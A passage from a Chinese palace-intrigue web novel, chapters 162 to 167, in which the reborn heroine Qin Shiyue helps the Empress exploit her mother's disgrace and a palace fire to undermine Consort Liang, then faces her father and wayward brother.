小荷担心整个侯府受牵连,忍不住问道:“小姐,您真的不用插手吗?万一陛下怪罪,侯府怕是……” “不用担心,”秦时月打断她的话,目光转向院门口,嘴角勾了勾,“去准备一壶上等的花茶,你家小姐,也是时候会会故人了。” 这侯府里有的是比她们着急的人,再说,这里对她而言是牢笼,即便真的被抄家,她也不急。 芳姨娘匆匆赶到,额头上多了一层细汗。 她看着秦时月那副淡定的模样,心里的不安感莫名化开一些,但为了她和孩子们的未来,她还是忍不住嘴快,问到:“大小姐,侯爷和夫人都被宫里的人带走了,您,您就不担心吗?” 她始终看不透这位大小姐,但她相信,只要秦时月想,她可以保下一切,也可以带着一切毁灭…… 秦时月看过来,轻轻晃着秋千,“芳姨娘,我那母亲做的好事,总该有个了断,至于我父亲,他若真无辜,陛下自会还他清白,淡定,淡定。” 他那个父亲最是绝情了,出了这档子事,他肯定第一个跟她母亲、兄长断绝关系,更何况她那个好母亲曾对他下毒,他现在,怕不是最想她那个好母亲死的了! 芳姨娘听后,眉头舒展一些,没再多说什么。 她虽然看不懂秦时月,但她是长乐侯府嫡长女,即便出嫁,她也要依靠娘家,所以,她绝对不会眼睁睁看着侯府出事。 她心里默默安慰着自己:或许这位大小姐,真的有办法扭转乾坤呢。 秦时月似乎看穿了芳姨娘的心思,微微一笑,抬手示意小荷将茶端上来。 “芳姨娘,坐吧,这种时候,急也没用。事情走到这一步,总要有个结果,不是吗?” 芳姨娘犹豫片刻,最终还是坐下了。 她看着秦时月那副云淡风轻的模样,心中的不安竟渐渐平息了。 “大小姐,您真不打算做些什么?求求皇后娘娘也是好的呀。”芳姨娘试探着问了一句,语气中带着几分恳求,“侯府若倒了,咱们的日子……” 秦时月轻笑一声,目光落在茶杯上,“芳姨娘,你曾帮过我一次,我也不妨与你说个实话,这侯府的存亡,我并不放在心上。” 芳姨娘一惊,张张嘴,最终没敢接话。 她不明白秦时月话里的意思,她何曾帮过秦时月? 她更不明白秦时月对这侯府的心思。 她只知道,秦时月说她不在乎侯府的存亡,这番话,不像假的。 秦时月低笑一声,“不过你放心,我答应过会让你坐上长乐侯夫人的位置,就不会让你希望落空,你且安心等着,此事,还不能将长乐侯府毁掉。” 她话音刚落,院外传来一阵脚步声,紧接着,府里的下人匆匆走进来,“小姐,宫里传来消息,陛下要召见您。” “这场戏,终于轮到我登场了。”秦时月不仅不慌,嘴角反而勾起一抹意味深长的笑容。 她仿佛早就预料到了会是这样的结果。 芳姨娘心里没底,急忙站起身,“大小姐,您这一去,会不会……” “放心,”秦时月打断她的话,语气平静,“陛下叫我过去只是为了了解情况,你好好守着侯府,别让人趁乱生事就是了。” 说完,她转身就走,小荷在她身后匆匆跟上。 第162章 大难临头各自飞 芳姨娘站在原地,看着她们的背影久久回不过神。 她突然意识到,这位大小姐的城府和手段,远比她想象中更加深不可测。 “希望大小姐一切顺利……”芳姨娘喃喃自语,语气中带着她自己都没察觉到的复杂的情绪。 与此同时,秦时月已经坐上了宫里派来的马车上,马车摇摇晃晃,不知过了多久,缓缓驶入皇宫大门。 …… 后宫,明德殿。 皇上皇后坐在高位,底下齐刷刷跪了一地宫人,其中还包括良妃、长乐侯夫妇,秦可云。 秦时月进来时注意到皇上的脸色难看的厉害,她心里冷笑,面上却更为恭谨,“臣女参见陛下,皇后娘娘。” 皇上脸色阴沉,所有情绪都写在了脸上,“秦时月,秦可云改名换姓进宫的事,你知道多少?” 秦时月的脸上闪过一丝诧异,慌张回道:“回陛下,臣女这段日子身子总不见好,母亲心疼我,让我在揽月园养病,还派了嬷嬷和护卫保护,我,我并不知道府中最近出了些什么事啊。” 皇上眉头微皱,似乎对她的回答并不相信,但碍于她救驾有功,并没有当场发作,而是转头看向跪在下首的长乐侯夫人,猛拍扶手,冷声道:“卓氏,你可知罪!?” 该死的贱妇,竟然让她那个曾经为妾的养女混进宫中爬上龙床,简直该死! 长乐侯夫人浑身一颤,连忙磕头求饶,“陛下,臣妾冤枉啊!这一切都是老夫人和秦可云那个逆女自作主张,臣妾毫不知情!还请陛下明察!” 秦可云早就被吓傻了,但听到这话,还是猛的抬头,满脸恨意的看向长乐侯夫人,“母亲!你怎么能……” “贱人!你与人私通不说,现在还想拉我下马,你,你好歹毒的心肠,枉我养你这么多年,把你当新生孩子对待!” 长乐侯夫人激动的想扑过去掐死秦可云,但她还没有失去理智,知道这里是皇宫,所以只能激动的为自己喊冤。 秦时月站在一旁,冷眼旁观着这场闹剧。 她心中清楚,她的这位好母亲,不过是在垂死挣扎罢。 一切,还要看皇上怎么定。 皇上显然已经失去了耐心,他冷冷地扫了一眼长乐侯夫人,又看向秦可云,眼神嫌恶。 可一想到秦时月,他还是强压下怒气,冷静下来。 “时月,此事,你怎么看?” 他并不惧她,他担心的是,一旦自己牵连整个侯府,会寒了那些老臣的心。 毕竟,秦时月救驾在前,与辰王定亲在后,如今辰王尸骨未寒,他若直接处置,秦时月身为嫡长女,也逃不过处罚。 秦时月微微低头,掩去眼底的冷意,语气平静无波,“回陛下,臣女只知道,母亲这些年一心一意为侯府,虽然有些事或许做的过分了些,但对侯府,从未有过半分懈怠。至于秦可云改名换姓入宫一事,臣女确实毫不知情。若真要追究,还是问秦可云或母亲的好。” 她话音轻柔,却字字珠玑。 长乐侯夫人脸色骤变,猛的转头看向秦时月,“你、你这个不孝女!胡说些什么?我何时做过过分的事?” 秦时月垂下眸,双肩因恐惧而颤抖,“母亲别罚我!我,我只是说出了心中所想,因为我不明白,凭秦可云自己,是如何瞒天过海,一步步走到今日这地步的……” 此言一出,众人的目光纷纷落在长乐侯夫人和秦可云的身上。 两人心头一颤,瑟缩了一下,脸色顿时苍白如纸。 良妃见状,连忙接话,“陛下明鉴,明月县主说的即是,嫔妾也是受到了卓氏的蒙蔽,才会酿成大祸,还请陛下查明真相,还嫔妾一个清白啊!” 她跪伏在地,泪水连连,“嫔妾入宫多年,一直安分守己,从未有过僭越之举。若非卓氏巧言令色欺骗了我,我又怎会引狼入室,酿此大错……” 美人垂泪,总是能引起男人的怜惜之情,更何况她是太子生母,若处置她,太子的地位必然受到波及。 想到这,皇上脸色难看,却没有苛责于她,而是又看向长乐侯夫人。 这件事是卓氏的错,不处置她,不足以平息他的怒火! 就在此时,一直沉默不语的皇后忽然开口,“陛下,依臣妾之见,此事牵连甚大,需从根源查起。秦可云既然是以假身份入宫,那么她的来历、背后的主使者,都应该彻查清楚。否则,日后有人效仿,后宫与朝堂皆难安宁。” 自从宋墨辰“去世”,皇上早已与皇后离心,但皇后母族势力庞大,他轻易不愿与皇后撕破脸,所以他虽然心里不悦,但还是点了点头。 “皇后所言即是。”说完,目光扫向殿内众人,最终停在长乐侯身上,“长乐侯,朕念你养育明月县主有功,且这么多年不曾犯过大错,暂且饶你一命。但卓氏……在调查清楚前,就留在后宫,由皇后亲自看管!” 长乐侯松口气,连忙磕头谢恩,额头次次碰在地面上,“多谢陛下,陛下英明!” 皇上烦躁的挥了挥手,示意侍卫将人带下去,“朕乏了,你们都退下吧。” “陛下。”皇后再次开口,“妾身已有多日未见过时月了,有些话想同这孩子说。” 皇上脸色难看,阴鸷的目光扫过她平静的神色,最终还是点了头,“那就让时月陪陪你吧,不过朕提醒你,别忘了你皇后的本分。” “是,多谢陛下。” 皇后在心里冷笑一声,面上却多了一丝谨小慎微和恭敬。 这段日子她被困在后宫,许多话不方便传出去,也不知辰儿那边怎么样了。 今日机会难得,正好问问情况,顺便和时月商讨一下,如何趁机搬倒良妃。 少了良妃这个助力,即便宋砚辞平安归来,这太子之位,也坐不稳! 长乐侯夫人、秦可云被拖了下去,其他人则退出明德殿,各回各家。 凤仪宫。 绘春为皇后和秦时月到好茶,上好点心后便退了出去。 第163章 景福宫走水 如今这凤仪宫虽然“四处漏风”,但那些狗东西能听到的,都是皇后想让他们听到的。 “时月,这段时间,你过得如何?”殿里没了外人,皇后拉过秦时月的手,满脸心疼的问道。 “多谢娘娘挂念,时月一切安好。” 秦时月说着,侧眸看了眼紧闭的殿门,然后凑到皇后耳边道:“娘娘放心,辰王殿下在边关一切都好。” 皇后闻言,眼中闪过一丝复杂的情绪,但很快掩饰过去。 她轻轻拍了拍秦时月的手背,语气温和,“时月,你这孩子,总是让本宫心疼。” 她知道秦时月前些日子出京了,也知道她一定是放心不下宋墨辰,去了边关。 此时她寥寥几个字,就让她倍感窝心。 她,也只是个十六七岁的孩子啊…… 秦时月微微一笑,摇了摇头,“时月不觉得辛苦,倒是时月回来的时候,那人让我向娘娘转达,请娘娘保重凤体,其他的,他会安排妥当。” 皇后点点头,没再多言,想起今天的事,眉头又微不可察的皱了一下,“虽然本宫早先察觉到了良妃她们会有动作,但本宫着实没想到,今日会发生这样的事。” “时月,虽然秦可云按律当诛,但卓氏到底是你的生母,你……” “娘娘不必考虑时月。”秦时月面色不变,声音平静,“此事牵连甚广,不仅涉及后宫,更关乎朝堂局势。这,或许是咱们搬倒良妃的唯一机会。” 良妃在后宫多年,虽然母族势力比不得皇后,可由于她诞下长子,长子又被立为储君,他们母子这些年笼络的朝臣并不少。 若是这次让她轻轻揭过,只怕将来再想搬倒她,就不容易了。 皇后点了点头,目光复杂。 她欣赏秦时月的果敢,但也心疼她,摊上了卓氏这样的母亲。 拍拍她的手,皇后声音有些凝重,“你说得不错。这或许是咱们唯一的机会。” “还有,娘娘最好动作快点,良妃向来善于装可怜伪装,方才我觉得陛下有意放过她,若是拖的久了,只怕对咱们不利。” “你放心,本宫已命人连夜提审卓氏、秦可云和马文松了,相信要不了多久,他们就会吐出实情,至于良妃那边,幸好有你提醒,她身边的嬷嬷,已经被本宫扣下了,有她的指证,良妃别想全身而退。” 当初秦可云被长乐侯夫人安置在京外的别院,就是那个嬷嬷去教导规矩的,只要撬开她的嘴,就能证明,良妃在明知秦可云身份的前提下,还是协助她爬上龙床,魅惑圣上。 即便不死,也会被判打入冷宫。 皇后眼神冰冷,语气虽然仍旧温和,但周身散发着后宫之主的威严,就连秦时月都忍不住低下了头。 皇后虽然平日里看起来温和无害,但一旦涉及到自身的安全和皇权,也绝不会手软。 “娘娘英明。”秦时月轻声说道:“这样一来,良妃就算有天大的本事,也不可能再兴风作浪了。” “时月,你果然最懂本宫的心思。”皇后拍拍她的手,又道:“不过,这件事牵扯到朝堂与后宫的平衡,稍有不慎,便会引发更大的风波,这些日子,你自己也要当心才是。” 秦时月一下就明白了她话里的意思,立刻点头,“娘娘放心,时月会时刻留意宫外的动静,若有任何异常,定会设法第一时间告知娘娘。” 皇后担心的是良妃获罪会引起朝堂动荡,担心太子党会力保良妃,到那时,说不定真的会闹出大麻烦。 好就好在她开了首饰铺后,与京中官眷、贵女还算说得上话,可以时常派小荷找各府的下人们打探消息,再不行,她就安排几个暗卫留意着他们的动向就是。 左右应该不会出大乱子。 皇后越看秦时月越满意,眼神赞许,心里欣赏。 这孩子,就是天生做主母皇妃的料,有她在辰儿背后辅佐,何愁大事不成? 两人正说着话,外头忽然传来一阵轻微的脚步声。 绘春匆匆走进来,行礼禀报,“娘娘,不好了,刚刚有宫人来报,景福宫走水了!” “你说什么?”皇后眉头一拧,冷静下来,与秦时月对视一眼,都从对方眼里看到了怀疑。 如此重要的节点,良妃的景福宫竟然走水了,说这里边没有良妃的手段,她们是断然不敢信的。 “绘春,立刻派人去景福宫查看情况,同时传本宫懿旨,救火的同时封锁景福宫周围,任何人不得擅自出入!” “是,娘娘。”绘春领命匆匆退下。 秦时月眉头微蹙,心中隐约觉的此事不简单。 说不定景福宫突然走水,就是她故意为之,意图嘛,自然是转移视线或是销毁某些关键证据。 想通了这点,秦时月立刻道:“娘娘,此事恐怕没这么简单,还是派您的心腹过去看看的好,若是……火势没那么大,可以借救火之际搜宫。” “你与本宫想到了一处。”皇后点了点头,眼中闪过一丝冷意,“她越是急于行动,越说明她此时已经慌不择路了。” 说完这句话,皇后立刻低唤一声,屋内立刻多了一道身影,是梁斌。 自从上次梁斌为她引开盯梢的,他便回宫复命了,这段时间一直贴身保护皇后的安全。 “娘娘。” “方才听到王妃的话了?景福宫那边,本宫信不过旁人,你亲自去一趟,注意安全。” “是!”梁斌领命退下,屋内瞬间又恢复了冷清。 “不好了娘娘!” 梁斌刚离开,出去传达命令的绘春又急匆匆的冲了进来,气喘吁吁的说:“陛下得知景福宫走水,发了好大的火,此时正下令彻查,还,还说娘娘……” 绘春有些说不下去。 皇后却像看透了一半,接替她说道:“他是不是说本宫管理后宫不当,坐在后位上却不作为?” 她冷笑一声,语气中带着几分讥讽与不屑,“不必理会他,他只是想借题发挥。本宫不过是一时疏忽,他却想将所有过错推到本宫身上,由的他去!” 第164章 皇后脱簪请罪 这些年她早看透了帝王的无情,他会对她表达不满,无非是觉得宋墨辰已死,她已经没什么倚仗了。 秦时月心里有种不好的预感,脱口说道:“娘娘,陛下这些日子,可有其他动作?” “嗯?” “对外,辰王已死,您被幽禁后宫,那您母族的势力和辰王的旧部……” “你是说,陛下有心拿他们开刀?”皇后心中一惊,这才意识到,事情没那么简单。 秦时月摇摇头,“或许是时月想多了,毕竟,陛下再怎么样也只是一个凡人,并不能预料到这场火灾……” “绘春,去查今日当值的统领侍卫是谁,要快!” 不等秦时月分析完,皇后突然面色难看的命令。 绘春想到什么,额头上沁出一层冷汗,跌跌撞撞的跑了出去。 “娘娘……”秦时月这才后知后觉的想到,皇后娘娘的娘家侄子,便是统领侍卫,若今日当值的是他…… 她不敢再想下去。 皇后如坐针毡,但她到底是后宫之主,很快便镇定下来。 她深吸口气,看着秦时月问道:“你觉得这火,究竟是人为,还是意外?” 她娘家的侄子固然重要,可她深知一个道理,一荣俱荣,一损俱损的道理。 她现在若是沉不住气,那么她母族的势力,必然要土崩瓦解! 秦时月沉吟片刻,缓缓说道:“依时月之见,这火十有八九是人为纵火。良妃心机深沉,如今她身处险境,定会想方设法转移陛下的注意力,景福宫恰在此时走水,正好能给她一个绝佳的借口。” “不错,即便不是她,也一定是有人故意制造混乱,一来转移陛下的目标,二来,让陛下对本宫产生不满。”皇后紧紧攥着拳头,语气中透着一丝寒意。 “您说的对,所以,此事不论是何人所为,娘娘一定要一口咬定,此事和良妃脱不了干系,只有这样,才能堵住陛下的嘴。”秦时月道。 陛下想放过良妃,也要良妃自己争气才是。 现在看来,不论这把火是谁放的,运用得当,说不定,可以成为皇后搬倒良妃的助力! 皇后在殿内踱了几步,随后停下脚步,看向秦时月,“你说的对。本宫不能坐以待毙,既然有人想借这火做文章,那本宫就顺势而为,让这把火烧的更旺一些!” 这后宫中“花团锦簇”,可不是只有良妃一个深得圣心,一旦那些花一样的面孔受到波及,最痛心的,还得是陛下和她们的父母。 到时候,即便她这个后宫之主不作为,她们身后那些势力也会想办法调查出真相! 不等皇后下命,绘春第三次匆匆跑了进来,脸色苍白,声音打颤,“娘娘,今日当值的统领侍卫,正是您的娘家侄子,这可怎么办啊?” “娘娘别急。” 皇后脸色发白,身子摇摇欲坠。 秦时月见状连忙上前扶住她,安抚,“咱们只需这样……” 明德殿,皇上嘴角微勾,眼神带着一抹决绝。 宋墨辰已死,虎符却下落不明,皇后背后势力依然是他的心头大忌。 所以,他正好借着这次的火势发难,先剪除皇后娘家的一小个势力,也好起到震慑作用。 “陛下。”皇上身边的大太监赵公公满脸喜色,“不出您所料,今日当值的,的确是皇后的侄子。” “好!”皇上大喜过望,眼里是不加掩饰的杀意,“传朕的旨意,将……” “报!统领侍卫程墨渊觐见!” 皇上怔愣一下,眉眼间闪过一丝恼怒。 他刚要治罪,程墨渊竟然自己来见驾了,这小子想的是什么,皇上大概能猜到。 他还没想好要怎么接招,程墨渊突然在外边噗通一声跪下,扯着嗓子喊道:“陛下!微臣前来领罪! 程墨渊声音才落,一个小太监匆匆走了进来。 原来,皇后没有佩戴任何首饰、面上未上半点妆容,身着一身里衣跪在了程墨渊身侧。 明显一副脱簪请罪的姿态。 这是刚才秦时月给她出的主意。 她是一国之母,她脱簪请罪便是表明了她的态度,也是给了皇帝一个台阶下。 若是皇帝执意追究程墨渊的责任,那便等于将皇后推上了风口浪尖,届时,皇室颜面必将受到影响。 皇上的脸色难看的厉害。 他原本打算借此事敲打皇后,顺便削弱其母族势力,可没想到皇后竟敢如此行事,直接不顾颜面,以退为进摆出了请罪的姿态。 一时间,他心中怒火翻涌,眼底杀意尽现。 他攥紧拳头起身,走到门口看到跪伏在地的两人,努力压下心头的万千思绪, 沉声开口,“皇后,你这是何意?” 皇后抬起头,眼中饱含泪水,“陛下,景福宫走水乃是妾身管理后宫不力,今日恰逢妾身娘家侄子当值,虽此事与他无关,但妾身与他都难辞其咎。故此,臣妾愿脱簪请罪,恳请陛下责罚!” 她当众主动承认自己失职,将责任揽到自己身上,就是故意给外人看的。 此举,不但能保全程墨渊,又能让皇帝在短时间内无法继续针对她的母族。 更重要的是,她在用这种方式提醒皇帝——后宫走水一事尚无定论,她是皇后,是后宫之主,若连她都被逼到了这种地步,那么整个后宫的平衡恐怕会被打破。 皇帝眯起眼睛,眼神阴鸷。 皇后此举,表面是在示弱,却也是反击。 如果他执意惩处程墨渊,那就是彻底与皇后,与她背后的势力撕破脸,届时,前朝、后宫必然动荡不安。 但如果就此作罢,他又不甘心,毕竟这次机会难得…… 就在这时,程墨渊忽然重重叩头,声音铿锵有力,“陛下!微臣查到,此次走水是有人刻意为之,那人的目的昭然若揭,还望陛下彻查!” 皇上本来气的有些喘不上气,此时这番话,差点把他气笑。 他恶狠狠看着程墨渊,冷声问道:“爱卿有何看法?” 皇后担心程墨渊说不到点子上,刚想接话,程墨渊却抬起了头。 第165章 搅乱计划?不存在的 他目光坚毅,带着军人独有的冷静,“回陛下,微臣已派人详细勘察过景福宫的火场,发现起火点不止一处,且每处都透着可疑,所以断定这绝非偶然失火,而是精心策划的纵火!” “今日走水微臣难辞其咎,但臣希望陛下能给臣一个机会,让臣将功补过,彻查此案,揪出幕后真凶。若微臣不能在三日内查明真相,愿受陛下任何责罚!” 听到这,皇帝紧锁的眉头终于有所舒缓。 若是三日内查不出真相,他愿受自己责罚? 这倒是给了他一个新理由…… 皇后怔愣一下,猛地抬起头,还没来得及阻止,皇上就点了头,“好,朕就给你这个机会。三日,若你查不出个所以然来,提头来见!” 程墨渊重重磕头,“谢陛下隆恩,微臣定不负所托!” 皇帝挥了挥手,示意他退下,随后冷冷看向依旧跪着的皇后,“皇后,你此次确实有错在身,但看在你刚痛失爱子的份上,朕就不多加苛责了,你回宫反省吧。” 皇后垂眸,掩去眼底的情绪,咬牙低声应道:“是,妾身遵命!” 待两人离开后,皇帝的脸色阴晴不定。 虽然还要等上三日才能拿皇后母族开刀,但他,等的起! 皇后和程墨渊一路走到凤仪宫,才进殿,皇后就沉着脸让他跪下。 程墨渊不解,但还是乖巧跪在地上。 “你这孩子怎么如此糊涂!去见陛下前,本宫是怎么嘱咐的!?你全忘了不成?” 皇后语气带怒,显然对程墨渊的擅自行动十分不满。 她深吸了一口气,还是忍不住一肚子火,“本宫让你不要说话,一切有本宫担着,你却主动请缨去查案,还立下军令状,这岂不是将自己置于险地?若三日内查不出真相,你可知道后果是什么?” 皇上正愁没理由动他,他倒好,上赶着将自己的命压了上去! 程墨渊低着头,声音恭敬,“姑母,我并非鲁莽行事。只是眼下局势危急,若不主动争取,陛下必定会借此机会打压您和家族势力。我这样做,也是为了替您分忧,多争取几日时间……” “替本宫分忧?”皇后看着这个自己宠爱有加的侄子冷笑一声,眼中闪过一丝无奈,“皇上想做的事,你以为凭你一己之力就能扭转局面?” 她是真的生气了。 这孩子到如今还这么莽撞,显然是还没意识到,皇上的手段。 这里是后宫,若是以前,这后宫自然由她这个做皇后的做主,可如今,“战神已死”,她在明面上,就成了一个花架子。 如今能查不能查,能查到什么,都是皇上一句话的事。 他查不出结果,丢了性命不说,还会连累整个程家,甚至让皇后陷入更被动的境地。 若是再连累宋墨辰的计划,那就更得不偿失了…… 听到这里,程墨渊有些不服气,刚抬头要争辩,一道女声突然响起。 “娘娘息怒,程统领年轻气盛,想不到那些后果也是可以理解的。” 程墨渊心里不服气,梗着脖子扭头看去,就见秦时月站在不远处,这番话,出自她的嘴。 皇后叹口气,虽然心里着急,但到底没再说什么。 “罢了,你先回去吧,记住,先不要轻举妄动,本宫自有安排。” 大不了,找个人将罪顶了,咬死是良妃所为,也能暂时稳住局面。 程墨渊心里不甘心,认定自己一定会有所作为。 但碍于皇后的身份,没有顶撞,恭敬的领旨退了下去。 他一离开,秦时月就在心里暗叹了口气。 这位程统领所有的心思都写在脸上,还真是个好拿捏的主啊。 “时月,如今墨渊未按计划行事,会不会乱了咱们的计划?” “娘娘放心。”秦时月收回心思,道:“发生了这样的大事,若程统领什么都不说,什么都不做,反而会引起陛下怀疑。” “你是说……” “他既然要查,要做出成绩,您就让他放手大胆的查,说不定陛下为了防他,会忽略一些细枝末节,这样,反倒利于咱们的人。” 听到秦时月这番解释,皇后豁然开朗。 对啊,墨渊如今算得上是明面上的棋子,他每一步都会被皇上死死盯着,这样一来,反而顾不上她们这头。 “你说的对,那接下来,咱们等着梁斌的好消息就行?” “为防万一,还是要做两手准备。”秦时月眸光微闪,道。 “呵呵,你这孩子,总是跟本宫能想到一处,本宫这就让绘春物色人手,若真的什么都查不出来,也不能放过这等好机会!” 皇后眸光阴鸷,露出了甚少浮现的狠戾一面。 秦时月垂下头没有做声,其实,她心里多少还有点犹豫。 只是他们要谋划的事情太大,如今的局面,不是你死便是我亡,根本没有回头路。 所以,她只能希望皇后在物色人选的时候,能寻一个不惧生死的死囚,至少,不要随便挑一个人…… 秦时月回到侯府的时候天色已经暗了下来。 此时长乐侯府大门紧闭,府内却灯火通明。 她刚下马车,府中下人就过来通知她,让她前往花厅,说是长乐侯在等她。 “小姐……” “无妨,你回揽月园,让嬷嬷给我准备些吃食,你和小青帮我烧好热水,我去去就回。” 秦时月在心里冷哼一声,丝毫不担心。 长乐侯此时找她,无非三点。 一,担心她那个好母亲的所作所为会连累整个侯府,连累他的前程。 二,若长乐侯府不受连累,接下来就是让他们接受芳姨娘抬为平妻甚至是正妻一事。 三,怕是听说了宫中的事,想警告她,让她远离后宫这个是非中心,免得被牵连,连累侯府。 她抬脚走向花厅,全程神色不变,只是眸中眼神冰冷。 如今她那个好母亲自掘坟墓,已经再无翻身的可能 性,接下来,要不要让她这个好父亲腾位置,全看他怎么做。 若是他像她那个好母亲一样看不清局势,那她不介意让他们黄泉相伴! 第166章 不做工具人 秦时月踏入花厅,只见长乐侯坐在主位上,脸色阴沉,他下首站着一脸担忧的芳姨娘。 听到脚步声,两人同时抬头看向秦时月。 “父亲这么晚找我,可是有什么要事?”秦时月率先开口,不等长乐侯让她坐下,她自顾自的坐到了一旁。 今日在后宫陪皇后娘娘出谋划策,她是当真累了。 长乐侯皱了皱眉,此时也顾不得追究她礼节的事,略显烦躁地挥了挥手,下人们立刻退了出去。 待花厅内只剩下他们三人时,他才脸色难看的说道:“你母亲的所作所为,你可知道?” “不知。”秦时月给自己倒了一杯茶,道。 长乐侯盯着她看了片刻,似乎想从她的表情中看出些什么,但什么都看不出来。 最终,他只能压下心里的怒火提醒,“时月,你别装糊涂。今日宫中走水的事本侯有所耳闻,后宫的水太浑,不是你一个女孩子能掺和的。” “至于你母亲,她敢在背后搞这些小动作,如今事情败露,死不足惜,问题是,如何保全侯府,不让她的事牵连整个侯府。” 秦时月慢悠悠的喝了口茶,放下茶杯,淡淡道:“父亲何必如此着急?母亲所作所为若是触犯了律法,自有陛下、娘娘惩治。至于长乐侯府的安危,我一个未出阁的女子如何管的了?” 芳姨娘早跟她谈过,知道她并不会袖手旁观,此时这样说话,无非是故意在和长乐侯作对,便没有吱声。 长乐侯见她毫不在乎,脸色一沉,砰的一下,猛拍身侧扶手,“放肆!你身为侯府一份子,既然享受了嫡长女的好处,就该跟侯府共进退!” 秦时月冷笑一声,“父亲说的好生有趣,首先,这侯府是我救驾有功,陛下开恩赏的,我这嫡长女的身份,可不是父亲的功劳。再者,我怀疑母亲和秦可云暗中谋划的事有您的默许,否则,她们妇道人家,怎么敢闹出这么大的动静!?” 长乐侯被秦时月的话气的脸色铁青,他起身指着秦时月,眼睛瞪的像铜铃,却一句话也说不出来。 芳姨娘见状,连忙上前安抚,“侯爷消消气,小姐也没说不管侯府,她,她也只是太着急说错了话。” 说完,又看向秦时月,“大小姐,夫人的所作所为侯爷一概不知,当初您被囚禁在揽月园,侯爷也被夫人下了毒,若不是远儿机灵,如今您怕是……都要见不到侯爷了。” 说到这,她假模假样的抹了抹眼泪。 这种事秦时月自然清楚,毕竟,给解药的,是秦时月,她如今这番话,不过是配合秦时月在长乐侯面前演的一出戏。 长乐侯脸色难看,但态度还是软化了下来。 “时月,是父亲错怪你了,当初父亲中毒,你们兄妹没有一个来看望,本侯以为……罢了,这些事都过去了,不提了。如今侯府正值多事之秋,你身上有救驾之功,想要保住侯府,也只能你想想办法了。” “父亲这话未免太过抬举我了。”秦时月笑笑,“侯府的荣辱兴衰,从来不是我一个女子能左右的,不如您问问兄长,说不定,他有办法呢。” 长乐侯府出了这么大的乱子,他秦怀瑾到如今都没有露头。 是在暗中谋划着什么,还是被吓到不敢露面了。 她,很是期待。 长乐侯脸色阴沉,死死盯着秦时月,心里却有些动摇。 若是以前,辰王活着,秦时月或许能说得上话,如今辰王已死,她与皇后之间没了其他牵绊,总将救驾一事挂在嘴边,恐怕会适得其反。 想到这,他迟疑了。 不过,他身为父亲,身为长乐侯,该提点的,还是要提点一句。 “你说的不无道理,不过你别忘了,你的身上终究流淌着本侯的血脉,若是侯府真的倒了,你也不可能独善其身。” 秦时月闻言,唇角勾起一抹冷笑,“父亲大人说的是,若是没有其他事,时月先回去了。” 说完,她虚拜了一下,转身就走。 还想用侯府绑架她,不可能! 她一离开,芳姨娘便眼珠子一转,期期艾艾的说道:“侯爷,虽然大小姐态度不好,但妾身觉得她说的是,侯府发生了这么多事,大少爷至今没有下落,不知道的,还以为他对侯府无情呢。” “哼,那个逆子向来不中用,如今出了这等大事,我也没想着指望他。不过,你这话倒是提醒我了。来人!” 长乐侯身边的忠礼早被长乐侯夫人处理了,如今他这一嗓子,喊来了府上的下人。 “派人去把大少爷找回来!” 这种关键的时候那个逆子还在外边鬼混,等把他抓回来,他先教训他一顿! 秦时月回到揽月园后毫无形象的坐在了圆桌旁。 她看着桌上精致的小食,嘴角终于勾起了一抹浅笑。 还是肖嬷嬷了解她,准备的东西都是她爱吃的。 “小姐,您回来啦?侯爷没为难您吧?”肖嬷嬷一脸关心。 秦时月摆了摆手,示意没有,然后拿起一块点心细细品尝。 肖嬷嬷见状松了口气,但眼神中的担忧并没有消散。 “嬷嬷不必担心,父亲如今不过是在垂死挣扎。” 秦时月面色不变,淡淡说道:“侯府的局面已定,想保住侯府,除非他主动交出权势。” 当然,还有她的力保。 但她凭什么一次次给他们做嫁衣?他们这群恶毒的蠢货根本不配! 肖嬷嬷张了张嘴,欲言又止。 最终,她还是忍不住低声问道:“小姐,您真的打算袖手旁观吗?若是侯府倒了,咱们的日子恐怕也不好过。” 她半截身子入土的人了,她不怕,她怕的是她的小姐受罪。 若是辰王还在,她也不会有此担心,可现在…… 秦时月闻言放下糕点轻笑一声,“嬷嬷,袖手旁观有何不可?你家小姐也不是非长乐侯府不可的。” 她顿了顿,声音低了些,“况且,旧的不去新的不来,若是长乐侯不倒,后边的,如何能爬上这个位置?” 第167章 蠢货自掘坟墓 肖嬷嬷听出她话中的深意,不由得心头一震,不敢再问下去。 不过,她想错了。 她以为,秦时月的一切谋划都是为了秦怀瑾,毕竟他们一母同胞,如今侯府出事,必然要有一人挺身而出,撑起这个家,除了大少爷,她不做他想。 这时,门外传来一阵急促的脚步声,小青匆匆跑了进来,神色紧张地禀报,“小姐,刚得到消息,大少爷被找到了,但他……似乎惹上了不小的麻烦。” 秦时月眉梢微挑,眼中闪过一丝兴味,“哦?看来今晚的戏码,比预想中还要精彩。还打听到什么?” 小青喘了口气,继续说道:“大少爷被发现时,好像正在与什么人纠缠不清,听说那人背后似乎有些势力,情况好像有点复杂。” 秦时月手指扣桌,嘴角泛起一丝冷意。 明日就是他做世子的日子,今日却出了这么多事,她早就料到秦怀瑾绝不会罢休,但没想到他会如此愚蠢,竟敢在这种时候招惹不该招惹的人。 “看来,我这位兄长是不死心,想听过别的手段继任他的世子。” 肖嬷嬷在一旁听得忍不住频频皱眉,“小姐,大少爷毕竟是您的亲哥哥,若他真出了什么事,对侯府来说无异于雪上加霜啊。” “嬷嬷说得对。”秦时月淡淡开口,语气带笑,“不过,这世上并非所有麻烦都能靠血缘化解。是他执意要将自己推向深渊,怪不得我。” 她站起身走到窗边,水眸淡漠的看着灯火通明的主院,嘴角勾起一抹意味深长的笑容。 “既然他回来了,那就让他好好表演一番吧。我倒想看看,我这位‘聪明’的兄长,会如何作死。” 肖嬷嬷还想再说什么,秦时月却转过身,直接打断了她想说的话,“嬷嬷,你只需记住一件事——无论发生什么,我都不会插手。这是他们自己的命。” 上一世,他们因为一个和尚的话就断言她是灾星,将她活活折磨致死,这一世,她不出手,已经是对他们最大的恩赐! 话音刚落,门外再次传来脚步声,这次是芳姨娘身边的丫鬟,“大小姐,姨娘请您速去花厅,说是,说是大少爷的事。” 秦时月闻言挑眉,心中已猜到了七八分。 她整了整衣襟,对着镜子里的自己露出一抹浅笑,随后迈步出门。 若不是她想看到秦怀瑾的下场,她还真不打算再走一趟。 花厅内,长乐侯脸色铁青,怒其不争的瞪着秦怀瑾。 芳姨娘在一旁低声安慰,而秦怀瑾则站在一旁,衣衫凌乱,脸上还带着一丝不耐烦,一丝惧意,很显然,刚刚经历了点什么。 秦时月进来都没引起长乐侯的注意,他猛地站起身,指着秦怀瑾怒道:“你这个逆子,如今出了这等大事,你竟还有心思在外招惹是非!” 